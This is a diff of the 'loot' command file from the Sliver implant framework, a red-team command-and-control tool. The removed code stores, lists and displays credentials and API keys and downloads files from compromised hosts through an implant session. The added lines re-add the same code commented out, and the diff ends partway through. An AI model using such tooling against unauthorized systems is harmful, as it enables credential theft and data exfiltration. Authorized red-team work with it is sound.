- along with this program. If not, see .
-*/
-
-import (
- "bytes"
- "context"
- "errors"
- "fmt"
- "io/ioutil"
- "os"
- "path"
- "strings"
- "text/tabwriter"
- "unicode/utf8"
-
- "github.com/AlecAivazis/survey/v2"
- "github.com/bishopfox/sliver/client/spin"
- "github.com/bishopfox/sliver/protobuf/clientpb"
- "github.com/bishopfox/sliver/protobuf/commonpb"
- "github.com/bishopfox/sliver/protobuf/rpcpb"
- "github.com/bishopfox/sliver/protobuf/sliverpb"
- "github.com/bishopfox/sliver/util/encoders"
- "github.com/desertbit/grumble"
-)
-
-var (
- ErrInvalidFileType = errors.New("invalid file type")
- ErrInvalidLootType = errors.New("invalid loot type")
- ErrNoLootFileData = errors.New("no loot file data")
-)
-
-// --- Loot Helpers for other commands ---
-
-// AddLootFile - Add a file as loot
-func AddLootFile(rpc rpcpb.SliverRPCClient, name string, fileName string, data []byte, isCredential bool) error {
- if len(data) < 1 {
- return ErrNoLootFileData
- }
- var lootType clientpb.LootType
- if isCredential {
- lootType = clientpb.LootType_LOOT_CREDENTIAL
- } else {
- lootType = clientpb.LootType_LOOT_FILE
- }
- var lootFileType clientpb.FileType
- if isText(data) || strings.HasSuffix(fileName, ".txt") {
- lootFileType = clientpb.FileType_TEXT
- } else {
- lootFileType = clientpb.FileType_BINARY
- }
- loot := &clientpb.Loot{
- Name: name,
- Type: lootType,
- FileType: lootFileType,
- File: &commonpb.File{
- Name: path.Base(fileName),
- Data: data,
- },
- }
- if lootType == clientpb.LootType_LOOT_CREDENTIAL {
- loot.CredentialType = clientpb.CredentialType_FILE
- }
- _, err := rpc.LootAdd(context.Background(), loot)
- return err
-}
-
-// AddLootUserPassword - Add user/password as loot
-func AddLootUserPassword(rpc rpcpb.SliverRPCClient, name string, user string, password string) error {
- loot := &clientpb.Loot{
- Name: name,
- Type: clientpb.LootType_LOOT_CREDENTIAL,
- CredentialType: clientpb.CredentialType_USER_PASSWORD,
- Credential: &clientpb.Credential{
- User: user,
- Password: password,
- },
- }
- _, err := rpc.LootAdd(context.Background(), loot)
- return err
-}
-
-// AddLootAPIKey - Add a api key as loot
-func AddLootAPIKey(rpc rpcpb.SliverRPCClient, name string, apiKey string) error {
- loot := &clientpb.Loot{
- Name: name,
- Type: clientpb.LootType_LOOT_CREDENTIAL,
- CredentialType: clientpb.CredentialType_API_KEY,
- Credential: &clientpb.Credential{
- APIKey: apiKey,
- },
- }
- _, err := rpc.LootAdd(context.Background(), loot)
- return err
-}
-
-// --- Loot Command ---
-func lootRoot(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
- filter := ctx.Flags.String("filter")
- var allLoot *clientpb.AllLoot
- var err error
- if filter == "" {
- allLoot, err = rpc.LootAll(context.Background(), &commonpb.Empty{})
- if err != nil {
- fmt.Printf(Warn+"Failed to fetch loot %s\n", err)
- return
- }
- } else {
- lootType, err := lootTypeFromHumanStr(filter)
- if err != nil {
- fmt.Printf(Warn + "Invalid loot type see --help")
- return
- }
- allLoot, err = rpc.LootAllOf(context.Background(), &clientpb.Loot{Type: lootType})
- if err != nil {
- fmt.Printf(Warn+"Failed to fetch loot %s\n", err)
- return
- }
- }
- if filter == "" {
- displayAllLootTable(allLoot)
- } else {
- lootType, _ := lootTypeFromHumanStr(filter)
- switch lootType {
- case clientpb.LootType_LOOT_FILE:
- displayFileLootTable(allLoot)
- case clientpb.LootType_LOOT_CREDENTIAL:
- displayCredentialLootTable(allLoot)
- }
- }
-}
-
-func lootAddLocal(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
- localPath := ctx.Args.String("path")
- if _, err := os.Stat(localPath); os.IsNotExist(err) {
- fmt.Printf(Warn+"Path '%s' not found\n", localPath)
- return
- }
-
- name := ctx.Flags.String("name")
- if name == "" {
- name = path.Base(localPath)
- }
-
- var lootType clientpb.LootType
- var err error
- lootTypeStr := ctx.Flags.String("type")
- if lootTypeStr != "" {
- lootType, err = lootTypeFromHumanStr(lootTypeStr)
- if err == ErrInvalidLootType {
- fmt.Printf(Warn+"Invalid loot type %s", lootTypeStr)
- return
- }
- } else {
- lootType = clientpb.LootType_LOOT_FILE
- }
-
- lootFileTypeStr := ctx.Flags.String("file-type")
- var lootFileType clientpb.FileType
- if lootFileTypeStr != "" {
- lootFileType, err = lootFileTypeFromHumanStr(lootFileTypeStr)
- if err != nil {
- fmt.Printf(Warn+"%s\n", err)
- return
- }
- } else {
- if isTextFile(localPath) {
- lootFileType = clientpb.FileType_TEXT
- } else {
- lootFileType = clientpb.FileType_BINARY
- }
- }
- data, err := ioutil.ReadFile(localPath)
- if err != nil {
- fmt.Printf(Warn+"Failed to read file %s\n", err)
- return
- }
-
- loot := &clientpb.Loot{
- Name: name,
- Type: lootType,
- FileType: lootFileType,
- File: &commonpb.File{
- Name: path.Base(localPath),
- Data: data,
- },
- }
- if lootType == clientpb.LootType_LOOT_CREDENTIAL {
- loot.CredentialType = clientpb.CredentialType_FILE
- }
-
- ctrl := make(chan bool)
- go spin.Until(fmt.Sprintf("Uploading loot from %s", localPath), ctrl)
- loot, err = rpc.LootAdd(context.Background(), loot)
- ctrl <- true
- <-ctrl
- if err != nil {
- fmt.Printf(Warn+"%s\n", err)
- }
-
- fmt.Printf(Info+"Successfully added loot to server (%s)\n", loot.LootID)
-}
-
-func lootAddRemote(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
- session := ActiveSession.GetInteractive()
- if session == nil {
- return
- }
- remotePath := ctx.Args.String("path")
- name := ctx.Flags.String("name")
- if name == "" {
- name = path.Base(remotePath)
- }
-
- var lootType clientpb.LootType
- var err error
- lootTypeStr := ctx.Flags.String("type")
- if lootTypeStr != "" {
- lootType, err = lootTypeFromHumanStr(lootTypeStr)
- if err == ErrInvalidLootType {
- fmt.Printf(Warn+"Invalid loot type %s", lootTypeStr)
- return
- }
- } else {
- lootType = clientpb.LootType_LOOT_FILE
- }
-
- ctrl := make(chan bool)
- go spin.Until(fmt.Sprintf("Looting remote file %s", remotePath), ctrl)
-
- download, err := rpc.Download(context.Background(), &sliverpb.DownloadReq{
- Request: ActiveSession.Request(ctx),
- Path: remotePath,
- })
- if err != nil {
- ctrl <- true
- <-ctrl
- if err != nil {
- fmt.Printf(Warn+"%s\n", err) // Download failed
- return
- }
- }
-
- if download.Encoder == "gzip" {
- download.Data, err = new(encoders.Gzip).Decode(download.Data)
- if err != nil {
- fmt.Printf(Warn+"Decoding failed %s", err)
- return
- }
- }
-
- // Determine type based on download buffer
- lootFileType, err := lootFileTypeFromHumanStr(ctx.Flags.String("file-type"))
- if lootFileType == -1 || err != nil {
- if isText(download.Data) {
- lootFileType = clientpb.FileType_TEXT
- } else {
- lootFileType = clientpb.FileType_BINARY
- }
- }
- loot := &clientpb.Loot{
- Name: name,
- Type: lootType,
- FileType: lootFileType,
- File: &commonpb.File{
- Name: path.Base(remotePath),
- Data: download.Data,
- },
- }
- if lootType == clientpb.LootType_LOOT_CREDENTIAL {
- loot.CredentialType = clientpb.CredentialType_FILE
- }
-
- loot, err = rpc.LootAdd(context.Background(), loot)
- ctrl <- true
- <-ctrl
- if err != nil {
- fmt.Printf(Warn+"%s\n", err)
- return
- }
-
- fmt.Printf(Info+"Successfully added loot to server (%s)\n", loot.LootID)
-}
-
-func lootRename(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
- loot, err := selectLoot(ctx, rpc)
- if err != nil {
- fmt.Printf(Warn+"%s\n", err)
- return
- }
- oldName := loot.Name
- newName := ""
- prompt := &survey.Input{Message: "Enter new name: "}
- survey.AskOne(prompt, &newName)
-
- loot, err = rpc.LootUpdate(context.Background(), &clientpb.Loot{
- LootID: loot.LootID,
- Name: newName,
- })
- if err != nil {
- fmt.Printf(Warn+"%s\n", err)
- return
- }
- fmt.Printf(Info+"Renamed %s -> %s\n", oldName, loot.Name)
-}
-
-func lootRm(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
- loot, err := selectLoot(ctx, rpc)
- if err != nil {
- fmt.Printf(Warn+"%s\n", err)
- return
- }
-
- _, err = rpc.LootRm(context.Background(), loot)
- if err != nil {
- fmt.Printf(Warn+"%s\n", err)
- return
- }
- fmt.Println()
- fmt.Printf(clearln + Info + "Removed loot from server\n")
-}
-
-func lootFetch(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
- loot, err := selectLoot(ctx, rpc)
- if err != nil {
- fmt.Printf(Warn+"%s\n", err)
- return
- }
-
- loot, err = rpc.LootContent(context.Background(), loot)
- if err != nil {
- fmt.Printf(Warn+"%s\n", err)
- return
- }
-
- // Handle loot based on its type
- switch loot.Type {
- case clientpb.LootType_LOOT_FILE:
- displayLootFile(loot)
- case clientpb.LootType_LOOT_CREDENTIAL:
- displayLootCredential(loot)
- }
-
- if ctx.Flags.String("save") != "" {
- savedTo, err := saveLootToDisk(ctx, loot)
- if err != nil {
- fmt.Printf("Failed to save loot %s\n", err)
- }
- if savedTo != "" {
- fmt.Printf(Info+"Saved loot to %s\n", savedTo)
- }
- }
-}
-
-func lootAddCredential(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
- prompt := &survey.Select{
- Message: "Choose a credential type:",
- Options: []string{
- clientpb.CredentialType_API_KEY.String(),
- clientpb.CredentialType_USER_PASSWORD.String(),
- },
- }
- credType := ""
- survey.AskOne(prompt, &credType, survey.WithValidator(survey.Required))
- name := ctx.Flags.String("name")
- if name == "" {
- namePrompt := &survey.Input{Message: "Credential Name: "}
- fmt.Println()
- survey.AskOne(namePrompt, &name)
- fmt.Println()
- }
-
- loot := &clientpb.Loot{
- Type: clientpb.LootType_LOOT_CREDENTIAL,
- Name: name,
- Credential: &clientpb.Credential{},
- }
-
- switch credType {
- case clientpb.CredentialType_USER_PASSWORD.String():
- loot.CredentialType = clientpb.CredentialType_USER_PASSWORD
- usernamePrompt := &survey.Input{Message: "Username: "}
- survey.AskOne(usernamePrompt, &loot.Credential.User)
- passwordPrompt := &survey.Input{Message: "Password: "}
- survey.AskOne(passwordPrompt, &loot.Credential.Password)
- case clientpb.CredentialType_API_KEY.String():
- loot.CredentialType = clientpb.CredentialType_API_KEY
- usernamePrompt := &survey.Input{Message: "API Key: "}
- survey.AskOne(usernamePrompt, &loot.Credential.APIKey)
- }
-
- loot, err := rpc.LootAdd(context.Background(), loot)
- if err != nil {
- fmt.Printf(Warn+"%s\n", err)
- return
- }
-
- fmt.Printf(Info+"Successfully added loot to server (%s)\n", loot.LootID)
-}
-
-func displayLootFile(loot *clientpb.Loot) {
- if loot.File == nil {
- return
- }
- fmt.Println()
-
- if loot.File.Name != "" {
- fmt.Printf("%sFile Name:%s %s\n\n", bold, normal, loot.File.Name)
- }
- if loot.File.Data != nil && 0 < len(loot.File.Data) {
- if loot.FileType == clientpb.FileType_TEXT || isText(loot.File.Data) {
- fmt.Printf(string(loot.File.Data))
- } else {
- fmt.Printf("<%d bytes of binary data>\n", len(loot.File.Data))
- }
- } else {
- fmt.Printf("No file data\n")
- }
-}
-
-func displayLootCredential(loot *clientpb.Loot) {
- fmt.Println()
- switch loot.CredentialType {
- case clientpb.CredentialType_USER_PASSWORD:
- if loot.Credential != nil {
- fmt.Printf("%s User:%s %s\n", bold, normal, loot.Credential.User)
- fmt.Printf("%sPassword:%s %s\n", bold, normal, loot.Credential.Password)
- }
- if loot.File != nil {
- displayLootFile(loot)
- }
- case clientpb.CredentialType_API_KEY:
- if loot.Credential != nil {
- fmt.Printf("%sAPI Key:%s %s\n", bold, normal, loot.Credential.APIKey)
- }
- if loot.File != nil {
- displayLootFile(loot)
- }
- case clientpb.CredentialType_FILE:
- if loot.File != nil {
- displayLootFile(loot)
- }
- default:
- fmt.Printf("%v\n", loot.Credential) // Well, let's give it our best
- }
-}
-
-// Any loot with a "File" can be saved to disk
-func saveLootToDisk(ctx *grumble.Context, loot *clientpb.Loot) (string, error) {
- if loot.File == nil {
- return "", errors.New("Loot does not contain a file")
- }
-
- saveTo := ctx.Flags.String("save")
- fi, err := os.Stat(saveTo)
- if err != nil && !os.IsNotExist(err) {
- return "", err
- }
- if err == nil && fi.IsDir() {
- saveTo = path.Join(saveTo, path.Base(loot.File.Name))
- }
- if _, err := os.Stat(saveTo); err == nil {
- overwrite := false
- prompt := &survey.Confirm{Message: "Overwrite local file?"}
- survey.AskOne(prompt, &overwrite, nil)
- if !overwrite {
- return "", nil
- }
- }
- err = ioutil.WriteFile(saveTo, loot.File.Data, 0600)
- return saveTo, err
-}
-
-func displayAllLootTable(allLoot *clientpb.AllLoot) {
- if allLoot == nil || len(allLoot.Loot) == 0 {
- fmt.Printf(Info + "No loot š\n")
- return
- }
-
- outputBuf := bytes.NewBufferString("")
- table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
-
- // Column Headers
- fmt.Fprintln(table, "Type\tName\tUUID\t")
- fmt.Fprintf(table, "%s\t%s\t%s\t\n",
- strings.Repeat("=", len("Type")),
- strings.Repeat("=", len("Name")),
- strings.Repeat("=", len("UUID")),
- )
- for _, loot := range allLoot.Loot {
- fmt.Fprintf(table, "%s\t%s\t%s\t\n", lootTypeToStr(loot.Type), loot.Name, loot.LootID)
- }
-
- table.Flush()
- fmt.Printf(outputBuf.String())
-}
-
-func displayFileLootTable(allLoot *clientpb.AllLoot) {
- if allLoot == nil || len(allLoot.Loot) == 0 {
- fmt.Printf(Info + "No loot š\n")
- return
- }
-
- outputBuf := bytes.NewBufferString("")
- table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
-
- // Column Headers
- fmt.Fprintln(table, "Type\tName\tFile Name\tSize\tUUID\t")
- fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n",
- strings.Repeat("=", len("Type")),
- strings.Repeat("=", len("Name")),
- strings.Repeat("=", len("File Name")),
- strings.Repeat("=", len("Size")),
- strings.Repeat("=", len("UUID")),
- )
- for _, loot := range allLoot.Loot {
- if loot.Type != clientpb.LootType_LOOT_FILE {
- continue
- }
- size := 0
- name := ""
- if loot.File != nil {
- name = loot.File.Name
- size = len(loot.File.Data)
- }
- fmt.Fprintf(table, "%s\t%s\t%s\t%d\t%s\t\n",
- fileTypeToStr(loot.FileType),
- loot.Name,
- name,
- size,
- loot.LootID,
- )
- }
-
- table.Flush()
- fmt.Printf(outputBuf.String())
-}
-
-func displayCredentialLootTable(allLoot *clientpb.AllLoot) {
- if allLoot == nil || len(allLoot.Loot) == 0 {
- fmt.Printf(Info + "No loot š\n")
- return
- }
-
- outputBuf := bytes.NewBufferString("")
- table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
-
- // Column Headers
- fmt.Fprintln(table, "Type\tName\tUser\tPassword\tAPI Key\tFile Name\tUUID\t")
- fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\t\n",
- strings.Repeat("=", len("Type")),
- strings.Repeat("=", len("Name")),
- strings.Repeat("=", len("User")),
- strings.Repeat("=", len("Password")),
- strings.Repeat("=", len("API Key")),
- strings.Repeat("=", len("File Name")),
- strings.Repeat("=", len("UUID")),
- )
- for _, loot := range allLoot.Loot {
- if loot.Type != clientpb.LootType_LOOT_CREDENTIAL {
- continue
- }
- fileName := ""
- if loot.File != nil {
- fileName = loot.File.Name
- }
- user := ""
- password := ""
- apiKey := ""
- if loot.Credential != nil {
- user = loot.Credential.User
- password = loot.Credential.Password
- apiKey = loot.Credential.APIKey
- }
- fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\t\n",
- credentialTypeToString(loot.CredentialType),
- loot.Name,
- user,
- password,
- apiKey,
- fileName,
- loot.LootID,
- )
- }
- table.Flush()
- fmt.Printf(outputBuf.String())
-}
-
-func selectLoot(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) (*clientpb.Loot, error) {
-
- // Fetch data with optional filter
- filter := ctx.Flags.String("filter")
- var allLoot *clientpb.AllLoot
- var err error
- if filter == "" {
- allLoot, err = rpc.LootAll(context.Background(), &commonpb.Empty{})
- if err != nil {
- return nil, err
- }
- } else {
- lootType, err := lootTypeFromHumanStr(filter)
- if err != nil {
- return nil, ErrInvalidFileType
- }
- allLoot, err = rpc.LootAllOf(context.Background(), &clientpb.Loot{Type: lootType})
- if err != nil {
- return nil, err
- }
- }
-
- // Render selection table
- buf := bytes.NewBufferString("")
- table := tabwriter.NewWriter(buf, 0, 2, 2, ' ', 0)
- for _, loot := range allLoot.Loot {
- fmt.Fprintf(table, "%s\t%s\t%s\t\n", loot.Name, loot.Type, loot.LootID)
- }
- table.Flush()
- options := strings.Split(buf.String(), "\n")
- options = options[:len(options)-1]
- if len(options) == 0 {
- return nil, errors.New("no loot to select from")
- }
-
- selected := ""
- prompt := &survey.Select{
- Message: "Select a piece of loot:",
- Options: options,
- }
- err = survey.AskOne(prompt, &selected)
- if err != nil {
- return nil, err
- }
- for index, value := range options {
- if value == selected {
- return allLoot.Loot[index], nil
- }
- }
- return nil, errors.New("loot not found")
-}
-
-func lootTypeToStr(value clientpb.LootType) string {
- switch value {
- case clientpb.LootType_LOOT_FILE:
- return "File"
- case clientpb.LootType_LOOT_CREDENTIAL:
- return "Credential"
- default:
- return ""
- }
-}
-
-func credentialTypeToString(value clientpb.CredentialType) string {
- switch value {
- case clientpb.CredentialType_API_KEY:
- return "API Key"
- case clientpb.CredentialType_USER_PASSWORD:
- return "User/Password"
- case clientpb.CredentialType_FILE:
- return "File"
- default:
- return ""
- }
-}
-
-func fileTypeToStr(value clientpb.FileType) string {
- switch value {
- case clientpb.FileType_BINARY:
- return "Binary"
- case clientpb.FileType_TEXT:
- return "Text"
- default:
- return ""
- }
-}
-
-func lootFileTypeFromHumanStr(value string) (clientpb.FileType, error) {
- switch strings.ToLower(value) {
-
- case "b":
- fallthrough
- case "bin":
- fallthrough
- case "binary":
- return clientpb.FileType_BINARY, nil
-
- case "t":
- fallthrough
- case "utf-8":
- fallthrough
- case "utf8":
- fallthrough
- case "txt":
- fallthrough
- case "text":
- return clientpb.FileType_TEXT, nil
-
- default:
- return -1, ErrInvalidFileType
- }
-}
-
-func lootTypeFromHumanStr(value string) (clientpb.LootType, error) {
- switch strings.ToLower(value) {
-
- case "c":
- fallthrough
- case "cred":
- fallthrough
- case "creds":
- fallthrough
- case "credentials":
- fallthrough
- case "credential":
- return clientpb.LootType_LOOT_CREDENTIAL, nil
-
- case "f":
- fallthrough
- case "files":
- fallthrough
- case "file":
- return clientpb.LootType_LOOT_FILE, nil
-
- default:
- return -1, ErrInvalidLootType
- }
-}
-
-// Taken from: https://cs.opensource.google/go/x/tools/+/refs/tags/v0.1.4:godoc/util/util.go;l=69
-
-// textExt[x] is true if the extension x indicates a text file, and false otherwise.
-var textExt = map[string]bool{
- ".css": false, // Ignore as text
- ".js": false, // Ignore as text
- ".svg": false, // Ignore as text
-}
-
-// isTextFile reports whether the file has a known extension indicating
-// a text file, or if a significant chunk of the specified file looks like
-// correct UTF-8; that is, if it is likely that the file contains human-
-// readable text.
-func isTextFile(filePath string) bool {
- // if the extension is known, use it for decision making
- if isText, found := textExt[path.Ext(filePath)]; found {
- return isText
- }
-
- // the extension is not known; read an initial chunk
- // of the file and check if it looks like text
- f, err := os.Open(filePath)
- if err != nil {
- return false
- }
- defer f.Close()
-
- var buf [1024]byte
- n, err := f.Read(buf[0:])
- if err != nil {
- return false
- }
-
- return isText(buf[0:n])
-}
-
-// isText reports whether a significant prefix of s looks like correct UTF-8;
-// that is, if it is likely that s is human-readable text.
-func isText(sample []byte) bool {
- const max = 1024 // at least utf8.UTFMax
- if len(sample) > max {
- sample = sample[0:max]
- }
- for i, c := range string(sample) {
- if i+utf8.UTFMax > len(sample) {
- // last char may be incomplete - ignore
- break
- }
- if c == 0xFFFD || c < ' ' && c != '\n' && c != '\t' && c != '\f' {
- // decoding error or control character - not a text file
- return false
- }
- }
- return true
-}
+// /*
+// Sliver Implant Framework
+// Copyright (C) 2021 Bishop Fox
+
+// This program is free software: you can redistribute it and/or modify
+// it under the terms of the GNU General Public License as published by
+// the Free Software Foundation, either version 3 of the License, or
+// (at your option) any later version.
+
+// This program is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+// GNU General Public License for more details.
+
+// You should have received a copy of the GNU General Public License
+// along with this program. If not, see .
+// */
+
+// import (
+// "bytes"
+// "context"
+// "errors"
+// "fmt"
+// "io/ioutil"
+// "os"
+// "path"
+// "strings"
+// "text/tabwriter"
+// "unicode/utf8"
+
+// "github.com/AlecAivazis/survey/v2"
+// "github.com/bishopfox/sliver/client/spin"
+// "github.com/bishopfox/sliver/protobuf/clientpb"
+// "github.com/bishopfox/sliver/protobuf/commonpb"
+// "github.com/bishopfox/sliver/protobuf/rpcpb"
+// "github.com/bishopfox/sliver/protobuf/sliverpb"
+// "github.com/bishopfox/sliver/util/encoders"
+// "github.com/desertbit/grumble"
+// )
+
+// var (
+// ErrInvalidFileType = errors.New("invalid file type")
+// ErrInvalidLootType = errors.New("invalid loot type")
+// ErrNoLootFileData = errors.New("no loot file data")
+// )
+
+// // --- Loot Helpers for other commands ---
+
+// // AddLootFile - Add a file as loot
+// func AddLootFile(rpc rpcpb.SliverRPCClient, name string, fileName string, data []byte, isCredential bool) error {
+// if len(data) < 1 {
+// return ErrNoLootFileData
+// }
+// var lootType clientpb.LootType
+// if isCredential {
+// lootType = clientpb.LootType_LOOT_CREDENTIAL
+// } else {
+// lootType = clientpb.LootType_LOOT_FILE
+// }
+// var lootFileType clientpb.FileType
+// if isText(data) || strings.HasSuffix(fileName, ".txt") {
+// lootFileType = clientpb.FileType_TEXT
+// } else {
+// lootFileType = clientpb.FileType_BINARY
+// }
+// loot := &clientpb.Loot{
+// Name: name,
+// Type: lootType,
+// FileType: lootFileType,
+// File: &commonpb.File{
+// Name: path.Base(fileName),
+// Data: data,
+// },
+// }
+// if lootType == clientpb.LootType_LOOT_CREDENTIAL {
+// loot.CredentialType = clientpb.CredentialType_FILE
+// }
+// _, err := rpc.LootAdd(context.Background(), loot)
+// return err
+// }
+
+// // AddLootUserPassword - Add user/password as loot
+// func AddLootUserPassword(rpc rpcpb.SliverRPCClient, name string, user string, password string) error {
+// loot := &clientpb.Loot{
+// Name: name,
+// Type: clientpb.LootType_LOOT_CREDENTIAL,
+// CredentialType: clientpb.CredentialType_USER_PASSWORD,
+// Credential: &clientpb.Credential{
+// User: user,
+// Password: password,
+// },
+// }
+// _, err := rpc.LootAdd(context.Background(), loot)
+// return err
+// }
+
+// // AddLootAPIKey - Add a api key as loot
+// func AddLootAPIKey(rpc rpcpb.SliverRPCClient, name string, apiKey string) error {
+// loot := &clientpb.Loot{
+// Name: name,
+// Type: clientpb.LootType_LOOT_CREDENTIAL,
+// CredentialType: clientpb.CredentialType_API_KEY,
+// Credential: &clientpb.Credential{
+// APIKey: apiKey,
+// },
+// }
+// _, err := rpc.LootAdd(context.Background(), loot)
+// return err
+// }
+
+// // --- Loot Command ---
+// func lootRoot(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
+// filter := ctx.Flags.String("filter")
+// var allLoot *clientpb.AllLoot
+// var err error
+// if filter == "" {
+// allLoot, err = rpc.LootAll(context.Background(), &commonpb.Empty{})
+// if err != nil {
+// fmt.Printf(Warn+"Failed to fetch loot %s\n", err)
+// return
+// }
+// } else {
+// lootType, err := lootTypeFromHumanStr(filter)
+// if err != nil {
+// fmt.Printf(Warn + "Invalid loot type see --help")
+// return
+// }
+// allLoot, err = rpc.LootAllOf(context.Background(), &clientpb.Loot{Type: lootType})
+// if err != nil {
+// fmt.Printf(Warn+"Failed to fetch loot %s\n", err)
+// return
+// }
+// }
+// if filter == "" {
+// displayAllLootTable(allLoot)
+// } else {
+// lootType, _ := lootTypeFromHumanStr(filter)
+// switch lootType {
+// case clientpb.LootType_LOOT_FILE:
+// displayFileLootTable(allLoot)
+// case clientpb.LootType_LOOT_CREDENTIAL:
+// displayCredentialLootTable(allLoot)
+// }
+// }
+// }
+
+// func lootAddLocal(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
+// localPath := ctx.Args.String("path")
+// if _, err := os.Stat(localPath); os.IsNotExist(err) {
+// fmt.Printf(Warn+"Path '%s' not found\n", localPath)
+// return
+// }
+
+// name := ctx.Flags.String("name")
+// if name == "" {
+// name = path.Base(localPath)
+// }
+
+// var lootType clientpb.LootType
+// var err error
+// lootTypeStr := ctx.Flags.String("type")
+// if lootTypeStr != "" {
+// lootType, err = lootTypeFromHumanStr(lootTypeStr)
+// if err == ErrInvalidLootType {
+// fmt.Printf(Warn+"Invalid loot type %s", lootTypeStr)
+// return
+// }
+// } else {
+// lootType = clientpb.LootType_LOOT_FILE
+// }
+
+// lootFileTypeStr := ctx.Flags.String("file-type")
+// var lootFileType clientpb.FileType
+// if lootFileTypeStr != "" {
+// lootFileType, err = lootFileTypeFromHumanStr(lootFileTypeStr)
+// if err != nil {
+// fmt.Printf(Warn+"%s\n", err)
+// return
+// }
+// } else {
+// if isTextFile(localPath) {
+// lootFileType = clientpb.FileType_TEXT
+// } else {
+// lootFileType = clientpb.FileType_BINARY
+// }
+// }
+// data, err := ioutil.ReadFile(localPath)
+// if err != nil {
+// fmt.Printf(Warn+"Failed to read file %s\n", err)
+// return
+// }
+
+// loot := &clientpb.Loot{
+// Name: name,
+// Type: lootType,
+// FileType: lootFileType,
+// File: &commonpb.File{
+// Name: path.Base(localPath),
+// Data: data,
+// },
+// }
+// if lootType == clientpb.LootType_LOOT_CREDENTIAL {
+// loot.CredentialType = clientpb.CredentialType_FILE
+// }
+
+// ctrl := make(chan bool)
+// go spin.Until(fmt.Sprintf("Uploading loot from %s", localPath), ctrl)
+// loot, err = rpc.LootAdd(context.Background(), loot)
+// ctrl <- true
+// <-ctrl
+// if err != nil {
+// fmt.Printf(Warn+"%s\n", err)
+// }
+
+// fmt.Printf(Info+"Successfully added loot to server (%s)\n", loot.LootID)
+// }
+
+// func lootAddRemote(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
+// session := ActiveSession.GetInteractive()
+// if session == nil {
+// return
+// }
+// remotePath := ctx.Args.String("path")
+// name := ctx.Flags.String("name")
+// if name == "" {
+// name = path.Base(remotePath)
+// }
+
+// var lootType clientpb.LootType
+// var err error
+// lootTypeStr := ctx.Flags.String("type")
+// if lootTypeStr != "" {
+// lootType, err = lootTypeFromHumanStr(lootTypeStr)
+// if err == ErrInvalidLootType {
+// fmt.Printf(Warn+"Invalid loot type %s", lootTypeStr)
+// return
+// }
+// } else {
+// lootType = clientpb.LootType_LOOT_FILE
+// }
+
+// ctrl := make(chan bool)
+// go spin.Until(fmt.Sprintf("Looting remote file %s", remotePath), ctrl)
+
+// download, err := rpc.Download(context.Background(), &sliverpb.DownloadReq{
+// Request: ActiveSession.Request(ctx),
+// Path: remotePath,
+// })
+// if err != nil {
+// ctrl <- true
+// <-ctrl
+// if err != nil {
+// fmt.Printf(Warn+"%s\n", err) // Download failed
+// return
+// }
+// }
+
+// if download.Encoder == "gzip" {
+// download.Data, err = new(encoders.Gzip).Decode(download.Data)
+// if err != nil {
+// fmt.Printf(Warn+"Decoding failed %s", err)
+// return
+// }
+// }
+
+// // Determine type based on download buffer
+// lootFileType, err := lootFileTypeFromHumanStr(ctx.Flags.String("file-type"))
+// if lootFileType == -1 || err != nil {
+// if isText(download.Data) {
+// lootFileType = clientpb.FileType_TEXT
+// } else {
+// lootFileType = clientpb.FileType_BINARY
+// }
+// }
+// loot := &clientpb.Loot{
+// Name: name,
+// Type: lootType,
+// FileType: lootFileType,
+// File: &commonpb.File{
+// Name: path.Base(remotePath),
+// Data: download.Data,
+// },
+// }
+// if lootType == clientpb.LootType_LOOT_CREDENTIAL {
+// loot.CredentialType = clientpb.CredentialType_FILE
+// }
+
+// loot, err = rpc.LootAdd(context.Background(), loot)
+// ctrl <- true
+// <-ctrl
+// if err != nil {
+// fmt.Printf(Warn+"%s\n", err)
+// return
+// }
+
+// fmt.Printf(Info+"Successfully added loot to server (%s)\n", loot.LootID)
+// }
+
+// func lootRename(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
+// loot, err := selectLoot(ctx, rpc)
+// if err != nil {
+// fmt.Printf(Warn+"%s\n", err)
+// return
+// }
+// oldName := loot.Name
+// newName := ""
+// prompt := &survey.Input{Message: "Enter new name: "}
+// survey.AskOne(prompt, &newName)
+
+// loot, err = rpc.LootUpdate(context.Background(), &clientpb.Loot{
+// LootID: loot.LootID,
+// Name: newName,
+// })
+// if err != nil {
+// fmt.Printf(Warn+"%s\n", err)
+// return
+// }
+// fmt.Printf(Info+"Renamed %s -> %s\n", oldName, loot.Name)
+// }
+
+// func lootRm(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
+// loot, err := selectLoot(ctx, rpc)
+// if err != nil {
+// fmt.Printf(Warn+"%s\n", err)
+// return
+// }
+
+// _, err = rpc.LootRm(context.Background(), loot)
+// if err != nil {
+// fmt.Printf(Warn+"%s\n", err)
+// return
+// }
+// fmt.Println()
+// fmt.Printf(clearln + Info + "Removed loot from server\n")
+// }
+
+// func lootFetch(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
+// loot, err := selectLoot(ctx, rpc)
+// if err != nil {
+// fmt.Printf(Warn+"%s\n", err)
+// return
+// }
+
+// loot, err = rpc.LootContent(context.Background(), loot)
+// if err != nil {
+// fmt.Printf(Warn+"%s\n", err)
+// return
+// }
+
+// // Handle loot based on its type
+// switch loot.Type {
